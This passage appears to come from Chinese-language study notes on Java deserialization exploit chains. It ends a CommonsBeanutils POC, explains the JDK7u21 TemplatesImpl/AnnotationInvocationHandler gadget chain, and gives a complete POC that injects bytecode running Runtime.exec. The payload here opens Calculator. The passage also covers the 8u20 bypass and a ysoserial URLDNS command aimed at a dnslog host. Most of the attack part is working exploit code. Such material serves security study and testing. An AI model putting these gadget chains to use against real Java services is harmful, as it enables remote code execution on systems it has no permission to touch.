setField(priorityQueue,"queue",new Object[]{templates,templates}); setField(priorityQueue,"size",2); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CommonsBeanutils.ser")); outputStream.writeObject(priorityQueue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CommonsBeanutils.ser")); inputStream.readObject(); inputStream.close(); }catch (Exception e){ e.printStackTrace(); } } public static void setField(Object object,String field,Object args) throws Exception{ Field f0 = object.getClass().getDeclaredField(field); f0.setAccessible(true); f0.set(object,args); } }
-
分析文章
#JDK7u21
-
适用版本
- 不依赖第三方组件
- 依赖JDK7u21版本
-
修复方案
升级JDK版本
-
利用链
执行点:
TemplatesImpl类中的defineTransletClasses()方法会调用defineClass()来加载_bytecodes字段中的字节码。而defineTransletClasses方法在TemplatesImpl类的newTransformer()方法中调用。所以构造好参数,调用TemplatesImpl的newTransformer()方法便可加载自定义字节码。
那么如何调用TemplatesImpl类的newTransformer()方法呢?
这里通过生成一个动态代理类,AnnotationInvocationHandler作为动态代理的处理类(该类初始化时将生成的TemplatesImpl对象添加到map中传给AnnotationInvocationHandler的构造函数)。那么如果调用动态代理类的equals方法,那么就会进入AnnotationInvocationHandler的invoke方法,在该方法中会调用该类的equalsImpl方法,该方法可遍历获取到之前构造函数传入map的值对应对象的所有方法并调用,由于map的值就是TemplatesImpl对象,所以会调用到newTransformer()方法。
触发点:
现在就需要想办法调用这个动态代理类的equals方法。这里利用的是LinkedHashSet,他没有重写readObejct() 函数,而是他的父类Hashset重写了,所以调用的父类的readObejct() 函数。而在调用map的put方法中,会调用到反序列化后的动态代理的equals方法。
-
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
package JDK7u21; import javassist.ClassPool; import javassist.CtClass; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.*; import java.util.HashMap; import java.util.LinkedHashSet; import java.util.Map; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; public class run { public static void main(String[] args) { try{ String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload = classPool.makeClass("testforme"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置该类的静态代码块 //转换为byte数组 byte[] bytes = payload.toBytecode(); Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段 field.setAccessible(true); field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组 Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段 field1.setAccessible(true); field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为tests HashMap map = new HashMap(); map.put("f5a5a608", "foo"); Constructor ctor=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); InvocationHandler tempHandler = (InvocationHandler)ctor.newInstance(Override.class, map); Field field2= tempHandler.getClass().getDeclaredField("type"); field2.setAccessible(true); field2.set(tempHandler, Templates.class); Templates proxy= (Templates)Proxy.newProxyInstance(HashMap.class.getClassLoader(),new Class[] {Templates.class},tempHandler); LinkedHashSet set = new LinkedHashSet(); set.add(templatesImpl);//这里设置这个值是为了进入for循环触发proxy.equal,从而触发动态代理的proxy.invoke方法 set.add(proxy); map.put("f5a5a608", templatesImpl); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(baos); out.writeObject(set); out.flush(); byte[] bytes2 = baos.toByteArray(); ByteArrayInputStream bais = new ByteArrayInputStream(bytes2); ObjectInputStream in = new ObjectInputStream(bais); in.readObject(); }catch (Exception e){ } } }
Tips:
jdk8u20这条链是jdk7u21的绕过。jdk7u21的补丁中,在AnnotationInvocationHandler的readObject方法中,增加了对代理类的判断,要求必须为annotation类型,否则会报错。
8u20利用链序列化数据属于畸形数据,需要手动构造序列化数据,为此需要熟悉序列化数据结构。
POC地址:https://github.com/pwntester/JRE8u20_RCE_Gadget
#URLDNS
能够确认readobject()反序列化利用点的存在。不至于payload改来改去却发现最后是因为压根没有利用点所以没用。因为这个利用链不依赖任何第三方库,没有什么限制。
生成payload
java -jar ysoserial.jar URLDNS "<http://p9n3au.dnslog.cn>" > /Users/joker/IdeaProjects/test/aa.txt